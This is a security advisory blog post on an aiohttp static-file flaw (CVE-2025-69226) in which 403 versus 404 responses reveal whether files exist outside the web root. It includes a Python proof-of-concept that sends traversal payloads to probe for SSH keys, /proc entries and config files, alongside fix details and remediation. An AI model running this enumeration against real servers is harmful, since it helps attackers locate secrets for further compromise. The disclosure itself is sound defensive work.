CVE-2025-69226

AIOHTTP Side-Channel: When 403 Means 'I See You'

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 6, 2026·6 min read

Executive Summary (TL;DR)

AIOHTTP versions prior to 3.13.3 contain a side-channel vulnerability in `web.static()`. The framework checked path prefixes before normalizing them, creating an oracle where attackers can distinguish between existing and non-existing files on the host system. If you get a 403, the file exists; if you get a 404, it doesn't. Upgrade to 3.13.3 immediately.

A logic flaw in AIOHTTP's static file serving mechanism allows attackers to map the server's internal filesystem. By exploiting differences in error codes (403 vs 404) during path normalization, adversaries can enumerate sensitive files outside the web root.

The Hook: Static Files, Dynamic Problems

There is an ancient commandment in the DevOps bible that is ignored by every junior developer at least once: "Thou shalt not serve static files with your application server." Use Nginx. Use Apache. Use a CDN. But inevitably, someone adds web.static('/static', '/var/www/static') to their Python code because it's convenient.

That convenience is where CVE-2025-69226 lives. AIOHTTP, the darling of the asynchronous Python world, had a subtle logic flaw in how it handled these static routes. It turns out that teaching a Python script to act like a file server is harder than it looks, especially when you have to deal with the messy reality of filesystem paths, symlinks, and the classic ../ traversal sequences.

This isn't a full arbitrary file read—you aren't going to cat /etc/shadow directly. Instead, it's a filesystem oracle. It allows an attacker to play a game of "Hot or Cold" with your server, mapping out your directory structure, verifying the existence of config files, and fingerprinting your operating system without ever seeing a byte of file content.

The Flaw: Cart Before the Horse

The vulnerability lies in aiohttp.web_urldispatcher.StaticResource. When a request comes in, the router needs to decide if it matches a registered static route. The logic should be: Normalize the path (resolve .. and //) -> Check if it's still inside the allowed directory -> Serve or 404.

AIOHTTP did it backwards. It performed a naïve prefix check on the raw URL path first. If the URL started with /static/, the router said, "That's mine!" and handed it off to the static file handler. Only inside the handler did the code resolve the path using Python's pathlib or os.path libraries to see where it actually pointed on the disk.

Here is the kicker: The handler was smart enough to know it shouldn't serve /static/../../etc/passwd. It correctly identified that the resolved path was outside the root and blocked access. However, because the router had already claimed the request, the handler returned a 403 Forbidden. If the file didn't exist, the underlying filesystem call would fail, and it would return a 404 Not Found.

This discrepancy creates a side-channel. By observing the HTTP status code, an attacker knows if the file exists on the disk, bypassing the intended obscurity of the web root.

The Code: Fixing the Order of Operations

The fix, introduced in commit f2a86fd, is a textbook example of defense-in-depth by shifting validation left. The maintainers moved the path normalization logic out of the handler and into the router's resolution phase.

Before the fix, the router blindly accepted anything matching the prefix. After the fix, the router effectively says: "Let's see where this path goes before I decide if I handle it."

Here is the critical change in aiohttp/web_urldispatcher.py. Note how os.path.normpath is now called before the prefix check:

# patched logic in aiohttp/web_urldispatcher.py
 
async def resolve(self, request: Request) -> _Resolve:
    path = request.rel_url.path_safe
    
    # THE FIX: Normalize BEFORE checking the prefix
    norm_path = os.path.normpath(path)
    
    # Handle Windows path separators if necessary
    if IS_WINDOWS:
        norm_path = norm_path.replace("\\", "/")
        
    # If the normalized path has escaped the prefix (e.g., /static/../etc/passwd)
    # then it no longer starts with /static.
    if not norm_path.startswith(self._prefix2) and norm_path != self._prefix:
        # Return None, which leads to a generic 404 from the main router
        return None, set()
        
    # ... proceed to handler

By normalizing first, a request for /static/../../etc/passwd becomes /etc/passwd. Since /etc/passwd does not start with /static, the router simply says "I don't know this URL," resulting in a standard 404 Not Found, indistinguishable from a request for a truly non-existent file.

The Exploit: Boolean Blind Enumeration

Exploiting this is trivial and requires no authentication. You simply need a target running a vulnerable version of AIOHTTP that uses web.static(). We can automate the discovery of sensitive files by differentiating the HTTP response codes.

The Attack Logic:

  1. Status 403 (Forbidden): "I found the file, but I won't show you." -> FILE EXISTS.
  2. Status 404 (Not Found): "I looked, but nothing is there." -> FILE DOES NOT EXIST.

Here is a simple Python proof-of-concept to hunt for SSH keys:

import requests
 
TARGET = "http://vulnerable-aiohttp-server.com"
STATIC_PREFIX = "/static"
 
# List of sensitive files to check for
files_to_check = [
    "/etc/passwd",
    "/home/root/.ssh/id_rsa",
    "/var/log/syslog",
    "/app/config.py",
    "/proc/self/cmdline" # Often contains secrets passed as args
]
 
for file in files_to_check:
    # Construct the traversal payload
    # We use // to ensure we traverse from root if needed, or repeated ../
    payload = f"{STATIC_PREFIX}/../../../../..{file}"
    
    try:
        r = requests.get(TARGET + payload)
        if r.status_code == 403:
            print(f"[!] FOUND: {file} exists on the server!")
        elif r.status_code == 404:
            print(f"[-] CLEAN: {file} not found.")
        else:
            print(f"[?] WEIRD: {file} returned {r.status_code}")
    except Exception as e:
        print(f"Error connecting: {e}")

In a real-world scenario, an attacker would use a fuzzing list (like Seclists) to map out the entire application structure, looking for backups (config.py.bak), databases (db.sqlite3), or environment files (.env).

The Impact: Why Should We Care?

You might argue, "So what? They know /etc/passwd exists. Big deal." But information is the precursor to compromise. This vulnerability is a reconnaissance goldmine.

First, it allows OS Fingerprinting. Checking for specific binaries or configuration files tells the attacker exactly what distro you are running (e.g., /etc/debian_version vs /etc/redhat-release).

Second, and more dangerously, it aids in finding unlinked assets. If an attacker suspects you have a backup file or a configuration file that isn't publicly linked, they can verify its location. Knowing that /app/settings_local.py exists (confirmed via 403) gives them a specific target for other exploits, like LFI (Local File Inclusion) or path traversal vulnerabilities in other parts of the stack.

Finally, in containerized environments, attackers can probe /proc file systems to understand the container runtime, environment variables (if accessible via filesystem mappings), and neighbor processes.

The Fix: Upgrade and Offload

The immediate fix is to upgrade aiohttp. The maintainers released version 3.13.3 on January 5, 2026, which closes the side-channel.

Remediation Steps:

  1. Check your version: pip show aiohttp.
  2. Update: pip install aiohttp>=3.13.3.
  3. Verify: Ensure your requirements.txt or Pipfile pins the secure version.

Long-term Architectural Fix: Stop using Python to serve static files in production. It is inefficient and, as we've seen, prone to subtle implementation bugs. Use a reverse proxy like Nginx.

# The Right Way(tm)
location /static/ {
    alias /var/www/static/;
    # Nginx handles traversal and normalization natively and securely
}

Nginx has spent decades hardening its path resolution logic. Let it do the heavy lifting while your Python code focuses on the application logic.

Fix Analysis (1)

Technical Appendix

CVSS Score
6.3/ 10
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Affected Systems

Python applications using aiohttp <= 3.13.2Systems exposing `web.static()` routes to the public internet

Affected Versions Detail

Product
Affected Versions
Fixed Version
aiohttp
aio-libs
<= 3.13.23.13.3
AttributeDetail
CWE IDCWE-22 (Path Traversal)
CWE IDCWE-200 (Information Exposure)
Attack VectorNetwork (CVSS: AV:N)
CVSS v4.06.3 (Medium)
ImpactInformation Disclosure (Filesystem Enumeration)
Exploit StatusPoC Available / Functional Exploit
Patch StatusFixed in 3.13.3
CWE-22
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as '..' that can resolve to a location that is outside of that directory.

Vulnerability Timeline

Vulnerability Disclosed
2026-01-05
Patch Released (v3.13.3)
2026-01-05

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.